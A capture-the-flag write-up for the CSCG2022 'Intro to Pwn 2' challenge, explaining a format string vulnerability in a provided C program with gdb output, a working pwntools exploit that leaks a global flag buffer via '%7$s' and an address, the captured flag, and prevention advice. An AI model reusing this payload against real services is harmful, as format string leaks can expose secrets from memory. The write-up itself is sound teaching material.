Intro to Pwn 2

Author: @Tibotix

This was a challenge in the CSCG2022 Competition.

📃 Challenge Description:

> This intro task will teach you a different way of abusing a format string vulnerability. It's not always necessary to get a shell to solve a challenge.
> Hint:

```python
def do_magic(v):
    print(f"{v:08d}");

print(do_magic(1337))
```

🔎 Research:

We are given a c file `pwn2.c`, lets look at it.

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <fcntl.h>

// pwn1: gcc pwn2.c -o pwn2

// --------------------------------------------------- SETUP

char flag_buffer[1024];

void ignore_me_init_buffering() {
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stderr, NULL, _IONBF, 0);
}

void kill_on_timeout(int sig) {
  if (sig == SIGALRM) {
        printf("[!] Anti DoS Signal. Patch me out for testing.");
    _exit(0);
  }
}

void ignore_me_init_signal() {
        signal(SIGALRM, kill_on_timeout);
        alarm(60);
}
```

```c
void load_flag() {
    FILE* fp = fopen("/flag", "r");
    int len = -1;
    if (fp == NULL) {
        printf("Error opening file: /flag\n");
        exit(-1);
    }

    fseek(fp, 0, SEEK_END);

    len = ftell(fp);

    // Read the flag
    fseek(fp, 0, SEEK_SET);
    fread(flag_buffer, 1, len, fp);
    fclose(fp);
}

// --------------------------------------------------- MENU

void print_stuff() {
    #ifndef CSCG_BUILDER
      printf("[!] You are using a self-compiled version of the challenge.
Offsets might differ from the binary that is provided for the competition!\n");
    #endif
    char input_buffer[1024];
    memset(input_buffer, 0x00, 1024);

    printf("Give me some buffer: \n");
    scanf("%1023s", input_buffer);

    printf("You gave me: ");
    printf(input_buffer);
}

// --------------------------------------------------- MAIN

void main(int argc, char* argv[]) {
        ignore_me_init_buffering();
        ignore_me_init_signal();

  load_flag();
  print_stuff();
}
```

We can see, that first the actual flag is loaded into the global variable `flag_buffer`. Then, we can give the program some buffer, that it will simply print out using `printf`.

Lets take a quick look at the `checksec` command output:

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

So as we can see, the executable is not compiled as a Position Independent Execuable (PIE), which means the base address for the `text`, `bss` and `data` segment will always be the same.

📝 Vulnerability Description:

As the program does not use a `printf` specifier to print our string, the code is vulnerable to a format string attack. To understand this kind of attack, we first need to understand how the `printf` function works.

With `printf`, one can easily format given variables to a string and print that string. It expects as its first argument the *format string*, which tells the function, how the following arguments should be formatted. After the format string follows the arguments that should be formatted. For example:

```c
const char* name = "Tibotix";
int age = 18;
printf("Hello, I am %s and %d years old.", name, age);
// will print: "Hello, I am Tibotix and 18 years old." to console
```

In this example, `%s` and `%d` are called format specifiers. Format specifiers always begin with a `%`. They specify, how the corresponding argument should be interpreted. In fact, there are many other format specifiers:

specifier	Output	Example
`d` *or* `i`	Signed decimal integer	`392`
u	Unsigned decimal integer	`7235`
o	Unsigned octal	`610`
x	Unsigned hexadecimal integer	`7fa`
X	Unsigned hexadecimal integer (uppercase)	`7FA`
f	Decimal floating point, lowercase	`392.65`
F	Decimal floating point, uppercase	`392.65`
e	Scientific notation (mantissa/exponent), lowercase	`3.9265e+2`
E	Scientific notation (mantissa/exponent), uppercase	`3.9265E+2`
g	Use the shortest representation: `%e` or `%f`	`392.65`
G	Use the shortest representation: `%E` or `%F`	`392.65`
a	Hexadecimal floating point, lowercase	`-0xc.90fep-2`
A	Hexadecimal floating point, uppercase	`-0XC.90FEP-2`
c	Character	`a`
s	String of characters	`sample`
p	Pointer address	`b8000000`
n	Nothing printed. The corresponding argument must be a pointer to a `signed int`. The number of characters written so far is stored in the pointed location.	
%	A `%` followed by another `%` character will write a single `%` to the stream.	`%`

As a shortcut for writing 7 times `%p` in the format string, we can explicitly only access the 7th argument after the format string (so technically the 8th argument to the `printf` function) with the *positional* format specifier `%7$p`.

So a format string vulnerability occurs, when user input is not “escaped” through a format specifier. This allows an attacker to pass a `%s` himself as the format string, and extract the further arguments of the `printf` function. But what are these arguments, when no argument is explicitly written in the code? To answer this question, we need to understand and look into the *Calling Conventions*. The operating system defines its own order, in which arguments are passed to a function in the machine code. On Linux, the order of arguments looks like this:

1. First argument is stored in register **RDI**
2. The second argument is stored in register **RSI**
3. The third argument is stored in register **RDX**
4. The fourth argument is stored in register **RCX**
5. The fifth argument is stored in register **R8**
6. The sixth argument is stored in register **R9**
7. The seventh and all further argument are stored on the stack

So, when executing this code,

```
printf("%p");
```

The address stored in **RSI** is printed out.

🧠 Exploit Development:

The format string vulnerabilty in this challenge is very easy to exploit, as we only need to find the address of the `flag_buffer` global variable. A quick look in gdb gives us:

```
pwndbg>
18:00c0│    0x4040c0 (stderr@@GLIBC_2.2.5) —▸ 0x7ffff7faa5c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
19:00c8│    0x4040c8 (completed) ◂— 0x0
... ↓
1c:00e0│    0x4040e0 (flag_buffer) ◂— 'sampleflag\n'
1d:00e8│    0x4040e8 (flag_buffer+8) ◂— 0xa6761 /* 'ag\n' */
1e:00f0│    0x4040f0 (flag_buffer+16) ◂— 0x0
... ↓
```

Now we need a way to print out this address.

Another trick you can do in format string attacks is to use the input buffer that acts as the first parameter to the `printf` function, as a seperate further argument. This works, because our input buffer is stored at the stack:

```
                                             [ DISASM ]
 ► 0x4013b7 <print_stuff+102>    mov    eax, 0
   0x4013bc <print_stuff+107>    call   printf@plt                      <printf@plt>

   0x4013c1 <print_stuff+112>    nop
   0x4013c2 <print_stuff+113>    leave
   0x4013c3 <print_stuff+114>    ret

   0x4013c4 <main>               push   rbp
   0x4013c5 <main+1>             mov    rbp, rsp
   0x4013c8 <main+4>             sub    rsp, 0x10
   0x4013cc <main+8>             mov    dword ptr [rbp - 4], edi
   0x4013cf <main+11>            mov    qword ptr [rbp - 0x10], rsi
   0x4013d3 <main+15>            mov    eax, 0
                                              [ STACK ]
00:0000│ rax rdi rsp 0x7ffdf0c8f020 ◂— 'AAAAAAAABBBBBBBB'
01:0008│             0x7ffdf0c8f028 ◂— 'BBBBBBBB'
02:0010│             0x7ffdf0c8f030 ◂— 0x0
... ↓                5 skipped
                                            [ BACKTRACE ]
 ► f 0          0x4013b7 print_stuff+102
   f 1          0x4013fb main+55
   f 2    0x7f23706d80b3 __libc_start_main+243

pwndbg> stack
00:0000│ rax rdi rsp 0x7ffdf0c8f020 ◂— 'AAAAAAAABBBBBBBB'
01:0008│             0x7ffdf0c8f028 ◂— 'BBBBBBBB'
02:0010│             0x7ffdf0c8f030 ◂— 0x0
... ↓                5 skipped
```

We can see, that the given `BBBBBBBB` string is our 8th argument to the `printf` function. (6 in registers + 2 on stack).

So, our plan is to give `%7$s` followed by some 4byte padding `AAAA` followed by the address of `flag_buffer` to the input buffer. This will access the 8th argument to the `printf` functions and interpret it as a pointer to a null terminated string. As the 8th argument is our `flag_buffer`, it will print out the flag 😃.

🔐 Exploit Program:

```python
from pwn import *

url = "f2272656dd460f43cccd2350-intro-pwn-2.challenge.master.cscg.live"

flag_addr = 0x4040e0
format_string = b"%7$sAAAA" + p64(flag_addr)

def get_flag():
        p = remote(url, port=31337, ssl=True)
        p.recvuntil(b"Give me some buffer: \n")
        p.sendline(format_string)
        flag = p.recv(1024)
        print(str(flag))

get_flag()
```

💥 Run Exploit:

```
[+] Opening connection to 6de2c5ed5e3117fff4c0b911-intro-pwn-2.challenge.master.cscg.live on port 31337: Done
b'You gave me: CSCG{h0pe_y0u_didnt_stuggl3_t00_h4rd_on_th1s_one}AAAA\xe0@@'
[*] Closed connection to 6de2c5ed5e3117fff4c0b911-intro-pwn-2.challenge.master.cscg.live port 31337
```

FLAG: CSCG{h0pe_y0u_didnt_stuggl3_t00_h4rd_on_th1s_one}

🛡️ Possible Prevention:

Always use format specifiers like `%s` to print out user input with `printf`. The simple change from

```
printf(input_buffer);
```

to

```
printf("%s", input_buffer);
```

would prevent the format string vulnerability.

Also, it is strongly recommended to compile an executable or shared libraries as a Position Independent Executable.

🗃️ Further References:

https://www.cplusplus.com/reference/cstdio/printf/